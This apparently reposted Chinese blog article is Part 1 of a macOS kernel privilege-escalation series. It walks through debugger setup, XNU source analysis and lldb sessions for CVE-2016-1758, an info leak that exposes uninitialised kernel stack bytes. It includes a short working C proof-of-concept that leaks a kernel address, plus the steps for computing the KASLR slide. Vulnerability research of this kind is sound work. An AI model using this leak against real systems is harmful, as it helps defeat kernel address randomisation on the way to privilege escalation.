内容简介:本文是基于CVE-2016-1758、CVE-2016-1828来讨论一下macOS下的内核提权技术。CVE-2016-1758是一个内核信息泄漏的洞,由于没有严格控制好内核栈数据copy的size,导致可以将额外8个bytes的内核地址泄漏出来,计算得到kernel_slide。CVE-2016-1828则是内核uaf的洞,存在于OSUnserializeBinary函数内,通过一个可控的虚表指针,将执行流劫持到NULL页上作ROP完成提权。虚拟机: OS X Yosemite 10.10.5 14F27
0x001 前言
本文是基于CVE-2016-1758、CVE-2016-1828来讨论一下macOS下的内核提权技术。CVE-2016-1758是一个内核信息泄漏的洞,由于没有严格控制好内核栈数据copy的size,导致可以将额外8个bytes的内核地址泄漏出来,计算得到kernel_slide。CVE-2016-1828则是内核uaf的洞,存在于OSUnserializeBinary函数内,通过一个可控的虚表指针,将执行流劫持到NULL页上作ROP完成提权。
0x002 调试环境
虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54
这里简单说一下环境搭建,在Parallel Desktop虚拟机安装 OS X 10.10.5 ,主机安装 KDK 10.10.5 14F27 ,安装目录是 /Library/Developer/KDKs ,提供的内核版本、符号、内核扩展都有release、development、debug三种版本。
启动虚拟机,看一下ip
设置启动参数
sudo nvram boot-args="debug=0x141 kext-dev-mode=1 pmuflags=1 -v"
我们这里直接调试realease版本的内核,所以不需要加 kcsuffix=development 这条参数。要是需要调试development或debug版本的内核,可以从主机安装的KDK包拷贝对应的内核到虚拟机的 /System/Library/Kernels 目录,再设置kcsuffix参数。
令内核缓存无效,重启
sudo kextcache -invalidate / sudo reboot
主机打开lldb,引入调试符号
target create /Library/Developer/KDKs/KDK_10.10.5_14F27.kdk/System/Library/Kernels/kernel
虚拟机启动起来卡在开机,并等待调试器接入
kdp-remote连上去
0x003 内核源码分析
获取xnu内核代码
找到 /bsd/net/if.c 里的 if_clone_list 方法
/*
* Provide list of interface cloners to userspace.
*/
static int
if_clone_list(int count, int *ret_total, user_addr_t dst)
{
char outbuf[IFNAMSIZ];
struct if_clone *ifc;
int error = 0;
*ret_total = if_cloners_count;
if (dst == USER_ADDR_NULL) {
/* Just asking how many there are. */
return (0);
}
if (count < 0)
return (EINVAL);
count = (if_cloners_count < count) ? if_cloners_count : count;
for (ifc = LIST_FIRST(&if_cloners); ifc != NULL && count != 0;
ifc = LIST_NEXT(ifc, ifc_list), count--, dst += IFNAMSIZ) {
strlcpy(outbuf, ifc->ifc_name, IFNAMSIZ);
error = copyout(outbuf, dst, IFNAMSIZ);
if (error)
break;
}
return (error);
}
IFNAMSIZ 长度为16,由于ifc是定义在内核栈上的局部数据,当 ifc_name 小于 outbuf 的长度,所以会将未初始化的内核地址拷贝到用户空间,计算得到kernel slide。
ifc_name 存放着6个bytes的数据 bridge ,剩余9个bytes为初始化的数据存在 outbuf 上。
下面是 if_clone_list 方法的调用链
soo_ioctl -> soioctl -> ifioctllocked -> ifioctl -> ifioctl_ifclone -> if_clone_list
soo_ioctl方法在socketops结构体中被引用
const struct fileops socketops = {
DTYPE_SOCKET,
soo_read,
soo_write,
soo_ioctl,
soo_select,
soo_close,
soo_kqfilter,
soo_drain
};
要使得 ifioctl 调用 ifioctl_ifclone ,要传进cmd参数 SIOCIFGCLONERS ,类似这样 ioctl(sockfd,SIOCIFGCLONERS,&ifcr)
int
ifioctl(struct socket *so, u_long cmd, caddr_t data, struct proc *p)
{
char ifname[IFNAMSIZ + 1];
struct ifnet *ifp = NULL;
struct ifstat *ifs = NULL;
int error = 0;
bzero(ifname, sizeof (ifname));
/*
* ioctls which don't require ifp, or ifreq ioctls
*/
switch (cmd) {
case OSIOCGIFCONF32: /* struct ifconf32 */
case SIOCGIFCONF32: /* struct ifconf32 */
case SIOCGIFCONF64: /* struct ifconf64 */
case OSIOCGIFCONF64: /* struct ifconf64 */
error = ifioctl_ifconf(cmd, data);
goto done;
case SIOCIFGCLONERS32: /* struct if_clonereq32 */
case SIOCIFGCLONERS64: /* struct if_clonereq64 */
error = ifioctl_ifclone(cmd, data);
goto done;
case SIOCGIFAGENTDATA32: /* struct netagent_req32 */
case SIOCGIFAGENTDATA64: /* struct netagent_req64 */
error = netagent_ioctl(cmd, data);
goto done;
查看 ifioctl_ifclone 方法,要使用 if_clonereq 结构作为 if_clone_list 的调用参数
static __attribute__((noinline)) int
ifioctl_ifclone(u_long cmd, caddr_t data)
{
int error = 0;
switch (cmd) {
case SIOCIFGCLONERS32: { /* struct if_clonereq32 */
struct if_clonereq32 ifcr;
bcopy(data, &ifcr, sizeof (ifcr));
error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
CAST_USER_ADDR_T(ifcr.ifcru_buffer));
bcopy(&ifcr, data, sizeof (ifcr));
break;
}
case SIOCIFGCLONERS64: { /* struct if_clonereq64 */
struct if_clonereq64 ifcr;
bcopy(data, &ifcr, sizeof (ifcr));
error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
ifcr.ifcru_buffer);
bcopy(&ifcr, data, sizeof (ifcr));
break;
}
default:
VERIFY(0);
/* NOTREACHED */
}
return (error);
}
最后,我们分析得到这样一段泄漏代码
// CVE-2016-1758 kernel info leak
#include <net/if.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
char buffer[IFNAMSIZ];
struct if_clonereq ifcr = {
.ifcr_count = 1,
.ifcr_buffer = buffer,
};
int main(){
int sockfd = socket(AF_INET,SOCK_STREAM,0);
int err = ioctl(sockfd,SIOCIFGCLONERS,&ifcr);
printf("%sn",buffer);
printf("0x%016llxn",*(uint64_t *)buffer);
printf("0x%016llxn",*(uint64_t *)(buffer+8));
}
0x004 Info leak: CVE-2016-1758
回到调试器,在 if_clone_list 方法下断点
kernel was compiled with optimization - stepping may behave oddly; variables may not be available. │R15 FFFFFF7F981F5310 | .S...... | => 0xF>
Process 1 stopped │CS 0000 DS 0000
* thread #2, name = '0xffffff801e134e28', queue = '0x0', stop reason = signal SIGSTOP │ES n/a FS 0000
frame #0: 0xffffff801790b868 kernel`kdp_register_send_receive(send=<unavailable>, receive=<unavailable>) at kdp_│GS 0000 SS n/a
udp.c:463 [opt] │
Target 0: (kernel) stopped. │
(lldb) break set -name if_clone_list │
Breakpoint 1: 2 locations. │
(lldb) c
在虚拟机内安装 xcode-command-tools
xcode-select --install
编译泄漏代码后直接运行,调试器断在 ifioctl_ifclone 方法
Loading 1 kext modules warning: Can't find binary/dSYM for com.apple.filesystems.smbfs (CD5CEA75-1160-31C9-BAAA-B1373623BAE3)
. done.
Process 1 stopped
* thread #23, name = '0xffffff801ea56c50', queue = '0x0', stop reason = breakpoint 1.1
frame #0: 0xffffff8017b9ac6d kernel`ifioctl_ifclone [inlined] if_clone_list(count=1, ret_total=0x0000000100000000, dst=4465025088) at if.c:672 [opt]
Target 0: (kernel) stopped.
(lldb) b
查看栈回溯,调用过程大体上与我们分析的一致
(lldb) bt │RDX 0000000000000010 | ........ |
* thread #23, name = '0xffffff801ea56c50', queue = '0x0', stop reason = breakpoint 1.1 │RCX 0000000000000000 | ........ |
* frame #0: 0xffffff8017b9ac6d kernel`ifioctl_ifclone [inlined] if_clone_list(count=1, ret_total=0x000000010000000│R8 FFFFFF80221D89D8 | ...".... |
0, dst=4465025088) at if.c:672 [opt] │R9 0000000000000000 | ........ |
frame #1: 0xffffff8017b9ac6d kernel`ifioctl_ifclone(cmd=<unavailable>, data="") at if.c:1482 [opt] │R10 0000000000000000 | ........ |
frame #2: 0xffffff8017b9958f kernel`ifioctl(so=<unavailable>, cmd=3222301057, data="", p=0xffffff8020e331a0) at │R11 0000000000000206 | ........ |
if.c:1732 [opt] │R12 00000000C0106981 | .i...... |
frame #3: 0xffffff8017b99cbf kernel`ifioctllocked(so=0xffffff8026c69680, cmd=<unavailable>, data=<unavailable>, │R13 0000000000000001 | ........ |
p=<unavailable>) at if.c:2515 [opt] │R14 FFFFFF8018112F48 | H/...... | => `__>
frame #4: 0xffffff8017df1f0a kernel`soioctl(so=0xffffff8026c69680, cmd=<unavailable>, data="", p=0xffffff8020e33│R15 000000010A22E040 | @."..... |
1a0) at sys_socket.c:279 [opt] │CS 0000 DS 0000
frame #5: 0xffffff8017dadddb kernel`fo_ioctl(fp=0xffffff80221d89d8, com=3222301057, data="", ctx=0xffffff8077453│ES n/a FS FFFF0000
e88) at kern_descrip.c:5687 [opt] │GS 77450000 SS n/a
frame #6: 0xffffff8017decd64 kernel`ioctl(p=0xffffff8020e331a0, uap=0xffffff801e3477a0, retval=<unavailable>) at│
sys_generic.c:911 [opt] │
frame #7: 0xffffff8017e4b376 kernel`unix_syscall64(state=0
查看源码,我们选择断在 if.c:1484 这行,这里刚好是调用完 if_clone_list 的返回
(lldb) b if.c:1484
继续跑起来,现在断在 bcopy(&ifcr, data, sizeof (ifcr)); 这行以前, ifcr 包含着未初始化的内核栈数据
0xffffff8017b9ae84 <+612>: jmp 0xffffff8017b9aea5 ; <+645> at if.c:1484
0xffffff8017b9ae86 <+614>: xorl %ebx, %ebx
0xffffff8017b9ae88 <+616>: leaq -0x60(%rbp), %rdi
0xffffff8017b9ae8c <+620>: movl $0x10, %edx
-> 0xffffff8017b9ae91 <+625>: int3
0xffffff8017b9ae92 <+626>: movl -0x68(%rbp), %esi
0xffffff8017b9ae95 <+629>: callq 0xffffff801770e080 ; bcopy
0xffffff8017b9ae9a <+634>: leaq 0x5780a7(%rip), %r14 ; __stack_chk_guard
0xffffff8017b9aea1 <+641>: jmp 0xffffff8017b9aeb7 ; <+663> at if.c:1475
rdi指向 ifcr ,可以看到 0xffffff801793487f 便是我们可以泄漏出来的内核地址,而该地址的前方便是 bridge 字符串
查看该地址的汇编代码
(lldb) x/10i 0xffffff801793487f │R12 FFFFFF8077483C80 | .<Hw.... | => "br>
0xffffff801793487f: 44 89 f0 movl %r14d, %eax │R13 0000000000000000 | ........ |
0xffffff8017934882: 48 83 c4 08 addq $0x8, %rsp │R14 FFFFFF8018064208 | .B...... | => 0xF>
0xffffff8017934886: 5b popq %rbx │R15 000000010C0AB050 | P....... |
0xffffff8017934887: 41 5e popq %r14 │CS 0000 DS 0000
0xffffff8017934889: 41 5f popq %r15 │ES n/a FS FFFF0000
0xffffff801793488b: 5d popq %rbp │GS 77480000 SS n/a
0xffffff801793488c: c3 retq │
0xffffff801793488d: 0f 1f 00 nopl (%rax) │
0xffffff8017934890: 55 pushq %rbp │
0xffffff8017934891: 48 89 e5 movq %rsp, %rbp
内核继续跑起来,再次确认我们找的地址没问题
利用 librop 的代码(已经上传到个人github上)找到对应内核文件的地址 0xFFFFFF800033487F ,用泄漏地址减去该地址便是kernel_slide。
每次重启后kernel_slide都会变,需要重新计算得到,本次
kernel_slide = 0x17600000 。
由于篇幅问题,关于 CVE-2016-1828 的分析以及做ROP提权的技术会放到下一篇文章中讲解。
以上所述就是小编给大家介绍的《macOS内核提权:利用CVE-2016-1758获取kernel slide(Part1)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- CentOS 6和RHEL 6获取FragmentSmack缺陷的重要内核安全更新
- 内核必须懂(六): 使用kgdb调试内核
- Linux内核如何替换内核函数并调用原始函数
- ADO.NET获取数据(DataSet)同时获取表的架构实例
- Linux内核工程师是怎么步入内核殿堂的?
- Linux内核工程师是怎么步入内核殿堂的?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Designing for Emotion
Aarron Walter / Happy Cog / 2011-10-18 / USD 18.00
Make your users fall in love with your site via the precepts packed into this brief, charming book by MailChimp user experience design lead Aarron Walter. From classic psychology to case studies, high......一起来看看 《Designing for Emotion》 这本书的介绍吧!